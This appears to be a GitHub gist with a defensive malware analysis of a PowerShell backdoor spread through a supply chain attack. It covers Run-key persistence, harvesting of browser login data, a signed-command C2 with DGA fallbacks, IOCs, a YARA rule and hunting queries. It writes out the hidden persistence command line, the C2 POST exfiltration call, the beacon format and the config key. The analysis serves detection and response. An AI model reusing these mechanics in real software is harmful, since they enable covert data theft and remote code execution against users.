Skip to content

Instantly share code, notes, and snippets.

@muhiminulhasan
Created August 21, 2026 15:18
Show Gist options
  • Select an option

  • Save muhiminulhasan/5332f78487deaef2f13e42151681e2ee to your computer and use it in GitHub Desktop.

Select an option

Save muhiminulhasan/5332f78487deaef2f13e42151681e2ee to your computer and use it in GitHub Desktop.
Supply chain attack on arrayref

Supply chain attack on arrayref: PowerShell Backdoor "AzureAccount.ps1" (AzureKits)

Classification: Remote Access Trojan / Backdoor with credential-reconnaissance capability

Detection name: Trojan:PowerShell/ProcmacSteal.LTSN!MTB (Microsoft Defender)

Sample: AzureAccount.ps1 — 35,578 bytes, 965 lines, single-stage PowerShell

SHA-256: 492F2AB86F8D8911ADC79C10EC1541704F5311D207D9D799B0D2A57FCC6A4391

Copies analyzed: AppData\Roaming\AzureKits\AzureAccount.ps1

Analysis date: 2026-08-21


1. Executive Summary

This is not a simple infostealer — it is a signed-command, multi-platform backdoor (RAT) written entirely in PowerShell 5.1+. Disguised as an "Azure" developer tool, it:

  1. Persists via the HKCU Run key, launching hidden at every logon (powershell -ep bypass -w h).
  2. Fingerprints the host: username, hostname, OS version/arch, admin status, installed applications, browser extensions.
  3. Harvests reconnaissance data from Chromium browsers (Chrome, Brave, Edge): every saved-login site URL and every saved username/email — by downloading the official sqlite-tools from sqlite.org and querying the Login Data database.
  4. Beacons all of that to a hardcoded C2, retrying every N seconds forever.
  5. Polls for RSA-signed commands and can: execute arbitrary downloaded scripts (foreground or background), relocate itself and re-persist, reconfigure its C2/polling cycle, or self-terminate.
  6. Resilience: encrypted config file, RSA-OAEP-SHA256 command authentication (only the operator can issue commands), a time-seeded DGA generating 10 rotating .com fallback C2 domains (5-day windows), TLS certificate validation disabled for C2 traffic, and automatic failover between C2 URLs.

On this particular machine, the C2 at 23.254.167.107:443 was unreachable — the malware's retry loop produced the "Unable to connect to the remote server" errors that led to its discovery. Defender quarantined it after roughly 24+ hours of runtime, and the restored autorun key was removed again during analysis.


2. Sample Identification

Property Value
Filename AzureAccount.ps1 (+ AzureAccount.ps1.cfg, 132 B encrypted config)
Size 35,578 bytes
Lines 965
Language PowerShell 5.1+ (#requires -Version 5.1) with embedded C# (Add-Type)
Runtime powershell.exe -ep bypass -w h -File <path> (hidden window, execution policy bypassed)
Persistence HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AzureAccount
C2 (primary) 23.254.167.107:443 (from decrypted config)
C2 endpoint POST https://<c2>/49890878
Victim UID UtrALaxnHjJatQmZ (16-char random, generated on first run)
Config crypto AES-128-GCM, key derived from ASCII string i am botking
Command auth RSA-2048 OAEP-SHA256, embedded private key in sample

The .cfg file decrypts (AES-GCM, key i am botking) to:

{"PrimaryUrl":"23.254.167.107:443","UID":"UtrALaxnHjJatQmZ","Cycle":10}

Cycle: 10 is the polling interval in seconds — matching the observed 10-second retry cadence.


3. Execution Flow (End to End)

explorer.exe (logon)
   └─ powershell.exe -ep bypass -w h -File AzureAccount.ps1     [hidden]
        ├─ 1. Add-Type WinCrypto (bcrypt AES-GCM + RSA in C#)
        ├─ 2. Force TLS1.2; install TrustAllCertsPolicy (accept ANY cert)
        ├─ 3. Initialize-BotWork
        │     ├─ Load/decrypt .cfg  (AES-128-GCM, key "i am botking")
        │     ├─ Generate UID if missing; save config
        │     ├─ Enumerate browser extensions + installed apps
        │     ├─ Download sqlite-tools from sqlite.org → query browser "Login Data"
        │     │     └─ collect saved-login origin URLs + usernames/emails
        │     ├─ Generate 10 DGA fallback C2 domains (5-day seed windows)
        │     └─ Send-InitialInfo  → POST beacon to C2
        └─ 4. Main loop (Start-BotWork):
              ├─ Invoke-ProcessCheck → POST "check" for pending command
              │    ├─ verify RSA-OAEP signature over (tid + sid)
              │    └─ Invoke-BotWork:
              │         kill | minicfg | startup | runscript(Shell|ShellX)
              └─ Start-BotSleep Cycle seconds  (10 s)

4. Stage-by-Stage Technical Breakdown

4.1 Native crypto via C# (WinCrypto, lines 3–181)

To avoid PowerShell's System.Security.Cryptography.AesGcm (only available in newer .NET), the script compiles a C# helper class that P/Invokes bcrypt.dll directly:

  • BCryptOpenAlgorithmProvider("AES") + ChainingModeGCM — raw AES-GCM
  • AesGcmEncrypt/AesGcmDecrypt — packed format: nonce(12) || ciphertext || tag(16)
  • A hand-rolled DER/ASN.1 parser for PKCS#1 PEM (ParsePkcs1Pem, lines 139–165) that extracts n, e, d, p, q, dp, dq, iq
  • RsaOaepSha256Decrypt — RSACng with OAEP-SHA256 padding

Purpose of RSA here: the embedded private key (lines 201–229) is used to decrypt command "signatures" — the server encrypts 4-byte-prefix || tid || sid with the matching public key; the bot decrypts and compares (Test-CommandSign, lines 319–333). Result: only the holder of the public key (the operator) can issue valid commands. Researchers can't forge commands even by standing up their own fake C2 — a defense against botnet sinkholing/takeover.

4.2 Anti-TLS-inspection (lines 183–196)

  • Forces Tls12.
  • On Windows PowerShell 5.1, installs TrustAllCertsPolicy: ICertificatePolicy that returns true for any certificate, and assigns it to [Net.ServicePointManager]::CertificatePolicy.
  • All C2 traffic therefore proceeds over HTTPS without any certificate validation — MITM interception by corporate proxies would succeed silently, but so would the malware connecting to any hijacked C2.

4.3 Encrypted configuration (Get-BotConfigFromFile / Save-BotConfig, lines 667–696)

  • Config lives next to the script as <scriptname>.cfg.
  • Content: AES-128-GCM(key = first 16 UTF-8 bytes of "i am botking")-encrypted, Base64-encoded JSON: UID, PrimaryUrl, Cycle.
  • The config is rewritten whenever a failover URL succeeds (see 4.7), making the last working C2 sticky across reboots.
  • Command-line argument 0 overrides PrimaryUrl — used by the startup relocation flow.

4.4 DGA fallback C2 list (Get-SecLinks, lines 286–310)

  • Seed = floor(UTC / (5 days)) → 10 pseudo-random [a-z]{10}.com:443 domains per 5-day window, generated with a xorshift32 PRNG (13/17/5 shifts).
  • The attacker pre-registers the current window's domains; the bot tries primary first, then fallbacks. This gives cheap C2 resilience with no hardcoded list.
  • (No evidence any of these resolved during the infection window — the bot never successfully contacted a server.)

4.5 Tooling fetch: legitimate sqlite.org download (lines 335–366)

  • Downloads https://sqlite.org/2026/sqlite-tools-win-x64-3530400.zip into %TEMP%\sqlite_<guid>\, extracts, locates sqlite3.exe.
  • Notably restores the real certificate-validation callback just for this download (lines 342–351) — the operator wants a genuine, un-tampered sqlite3 binary (presumably to avoid AV heuristics on a bundled binary and ensure DB parsing works).
  • Invoke-SqliteJsonQuery (368–390) shells out: sqlite3.exe -json <db> <query>.
  • Remove-SqliteTools wipes the temp folder after harvesting — minimal forensic footprint.

4.6 Data collection (lines 412–616)

Browsers targeted (Chromium-family user-data roots, all profiles Default + Profile N):

  • Chrome: %LOCALAPPDATA%\Google\Chrome\User Data
  • Brave: %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data
  • Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data

Collected per profile:

Data Source Query
Saved-login site hostnames Login Data → logins SELECT DISTINCT origin_url FROM logins ... (normalized to bare host, lines 531–538)
Saved-login usernames/emails Login Data → logins SELECT DISTINCT username_value FROM logins ... (sanitized, lines 540–549)
Browser extension IDs Local Extension Settings\* directory enumeration (574–584)

System inventory:

  • Username, hostname, OS caption/version, arch, PowerShell version (392–404)
  • Admin/root status (406–410)
  • Installed applications from all three Uninstall registry hives, deliberately filtering out windows.*, microsoft.*, vs_, windows sdk etc. (422–455) — the operator only wants interesting third-party software (e.g., wallets, VPNs, dev tools, password managers), which functions as target prioritization for follow-up runscript payloads.

Important limitation: the script never reads password_value, cookies, or crypto wallets — saved Chromium passwords are DPAPI-encrypted and this sample doesn't attempt decryption. It harvests where you have accounts and who you are, not the secrets themselves. The actual secret theft would be stage two, delivered on demand via runscript.

4.7 C2 protocol (Invoke-SubnetHttpPost, lines 704–743)

  • Transport: WebClient.UploadData("https://<url>/49890878", 'POST', bytes) where bytes = Base64( UTF8(JSON) ) — a Base64-wrapped JSON envelope (double-encoding to keep payloads HTTP-safe).
  • Failover: tries PrimaryUrl, then every DGA fallback; on first success promotes that URL to PrimaryUrl and saves the config.
  • Failure handling: Write-Host "Error: <message>" + sleep Cycle seconds, keep trying — this exact line is the source of the "Unable to connect to the remote server" spam (line 728→735).

Beacon (type=start, lines 785–811):

{"type":"start","bid":"<UID>","chash":[],
 "username":"...","hostname":"...","os_type":"windows",
 "os_ver":"...","os_arch":"amd64","platform_ver":"powershell 5.1...",
 "ext":"<ext;ext>","app":"<app;app>",
 "url":"<loginhost;loginhost>","email":"<username;username>"}

Poll (type=check, lines 918–950): sends {type, bid, chash, is_root}; a non-empty response is a JSON command {sid, name, param, url, type, sign, chash} — signature-verified then executed.

Result (type=cmd): {type, bid, sid, name, status: success|fail, result}.

4.8 Command set (Invoke-BotWork, lines 861–916)

sid Effect
kill Ack, then exit 0 — clean self-removal of the process (files/registry remain)
minicfg AES-GCM(key "test") decrypt of param → newUrl;newCycle; updates + saves config
startup Self-relocation: decrypt param → folderName;winName, copies itself + .cfg to %APPDATA%\<folder>\<name>.ps1, deletes the old copy, re-writes the Run key to the new path, removes the old value (lines 618–652, 468–482)
runscript Arbitrary code execution: downloads from attacker URL → writes UTF-8-BOM temp .ps1 in %TEMP%\ps-<guid>.ps1 → Shell = run & return stdout+stderr; ShellX = background, return PID. The payload receives context (self path, UID, C2) as arguments and via SCRIPT_ARGS env var as JSON (lines 484–515)

runscript is the defining capability: anything — a full stealer, a miner, a lateral-movement tool, a persistence re-installer — can be pushed post-compromise, and each payload gets the bot's context handed to it.

4.9 Main loop (lines 952–965)

Start-BotWork          # init → Send-InitialInfo → sleep 10
while ($true) {
    Invoke-ProcessCheck   # poll C2 for signed commands
    Start-BotSleep 10     # Cycle seconds
}

Infinite, silent, no jitter, no max-retry cap.


5. What Actually Happened on This Machine

Timeline reconstructed from Defender quarantine records, file timestamps, and observed artifacts:

Time (local) Event
2026-08-20 ~13:47 AzureAccount.ps1 LastWriteTime — sample landed/dropped (both copies share it)
2026-08-20 → 08-21 Script running hidden from logon via HKCU Run\AzureAccount; beacon/check attempts to 23.254.167.107:443 fail; retries every 10 s, printing Error: ... Unable to connect to the remote server into its hidden console host
2026-08-21 ~17:51 .cfg rewritten (5:51 PM) — config save during run
2026-08-21 ~18:02 Defender detects & quarantines: both .ps1 copies + the Run key (Trojan:PowerShell/ProcmacSteal.LTSN!MTB)
2026-08-21 ~18:09–18:10 User deletes leftover AzureKits folders → .cfg files to Recycle Bin
2026-08-21 18:53 Analysis: sample restored from quarantine for review; re-created Run key removed again immediately; originals cleaned; no malicious processes remain

Exfiltration assessment: every outbound POST (initial beacon and all check polls) targets 23.254.167.107:443 (plus DGA .com fallbacks). The only error observed — and it was continuous — is connection failure. The harvested dataset (login-site hosts, usernames/emails, app list, extensions) was therefore almost certainly never delivered. No runscript-class command was ever received (commands can only arrive on a successful HTTP response), so no second-stage payload ran. The DGA fallbacks being unregistered .coms further supports dead-C2.

Caveats: a brief early window of C2 reachability cannot be 100 % excluded, and browser password values were never read by this sample regardless.


6. Indicators of Compromise (IOC)

Files:
  %APPDATA%\AzureKits\AzureAccount.ps1          SHA-256 492F2AB86F8D8911ADC79C10EC1541704F5311D207D9D799B0D2A57FCC6A4391
  %APPDATA%\AzureKits\AzureAccount.ps1.cfg
  %TEMP%\sqlite_<32hex>\sqlite-tools.zip / sqlite3.exe   (tooling)
  %TEMP%\ps-<32hex>.ps1                                  (runscript payload drops)

Registry:
  HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AzureAccount
    = powershell -ep bypass -w h -File "C:\Users\<user>\AppData\Roaming\AzureKits\AzureAccount.ps1"

Network:
  23.254.167.107:443   POST /49890878   (Base64(JSON) body, ~every 10 s)
  10× daily-window DGA domains matching ^[a-z]{10}\.com:443  (5-day xorshift32 windows)

Strings/behavior:
  "i am botking" (AES key material)      "49890878" (endpoint)
  "sqlite-tools-win-x64-3530400.zip"     "Local Extension Settings"
  embedded "BEGIN RSA PRIVATE KEY" (2048-bit, OAEP-SHA256 command auth)
  bcrypt.dll AES ChainingModeGCM via Add-Type

YARA (hunt for variants):

rule PS_AzureKits_Backdoor
{
    meta:
        author = "incident response 2026-08-21"
        sample_sha256 = "492f2ab86f8d8911adc79c10ec1541704f5311d207d9d799b0d2a57fcc6a4391"
    strings:
        $key    = "i am botking"
        $ep     = "/49890878"
        $rsa    = "BEGIN RSA PRIVATE KEY"
        $bcry   = "BCryptGenerateSymmetricKey" ascii
        $dga    = "Get-SecLinks"
        $start  = "Send-InitialInfo"
        $run    = "powershell -ep bypass -w h -File"
        $sq     = "sqlite-tools-win-x64"
    condition:
        filesize < 200KB and 4 of them
}

Hunting queries:

  • EventID 4688 / Sysmon EID 1: powershell.exe with -w h -ep bypass -File under explorer.exe
  • PowerShell EID 4104 script-block logs: WinCrypto / BCryptOpenAlgorithmProvider / 49890878
  • Outbound POST to any host at path /49890878
  • New %TEMP%\sqlite_* folders outside developer context

7. Defensive Recommendations

  1. Block 23.254.167.107 at firewall/DNS; alert on /49890878 paths.
  2. Rotate credentials for every account whose site or username appeared in browser saved logins (the recon dataset), prioritize email/banking/identity accounts; terminate all active sessions; verify MFA.
  3. Keep Script-Block Logging + AMSI on; this family compiles C# and shells sqlite3.exe — both are high-signal telemetry.
  4. Restrict HKCU Run writes via policy where feasible; baseline and alert on new values.
  5. Treat "Azure/Nvidia/dev-tool" .ps1/.exe bundles from forums/Discord/torrents as hostile until proven otherwise — the naming is deliberate social engineering.

8. Function Map (Appendix)

Lines Function Role
3–181 WinCrypto (C#) bcrypt AES-GCM, PEM/DER parse, RSA-OAEP decrypt
183–196 TLS setup force TLS1.2, trust-all-certs policy
198–229 constants AES key string, sqlite URL, RSA private key
231–262 AES helpers, Start-BotSleep GCM pack/base64, sleep
264–317 Get-UniqedArr, Get-RndStr, Get-SecLinks, ConvertFrom-Db64d dedupe, UID gen, xorshift32 DGA, double-base64
319–333 Test-CommandSign RSA-OAEP(SHA256) command authentication
335–390 Initialize/Remove-SqliteTools, Invoke-SqliteJsonQuery fetch sqlite.org tooling, query DBs
392–455 Get-PlatformInfo, Test-IsAdmin, Get-InstalledApplications host inventory
457–529 Get-StartupDestination, Set-PlatformStartup, New-ShellProcessStartInfo, Get-ChromeProfileDirs persistence + payload staging + profile discovery
531–616 ConvertTo-NormalizedLogin*, Get-BotExtensions/Urls/Emails browser recon harvesting
618–652 Invoke-BotStartup self-relocation & re-persistence
654–696 $State, config load/save encrypted config management
704–743 Invoke-SubnetHttpPost C2 POST with failover (error spam origin)
745–811 shell exec + Send-InitialInfo payload runner, initial beacon
813–846 Initialize-BotWork init & harvest orchestration
848–916 Send-CommandResult, Invoke-BotWork command dispatch (kill/minicfg/startup/runscript)
918–965 Invoke-ProcessCheck, Start-BotWork poll loop & entry point
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment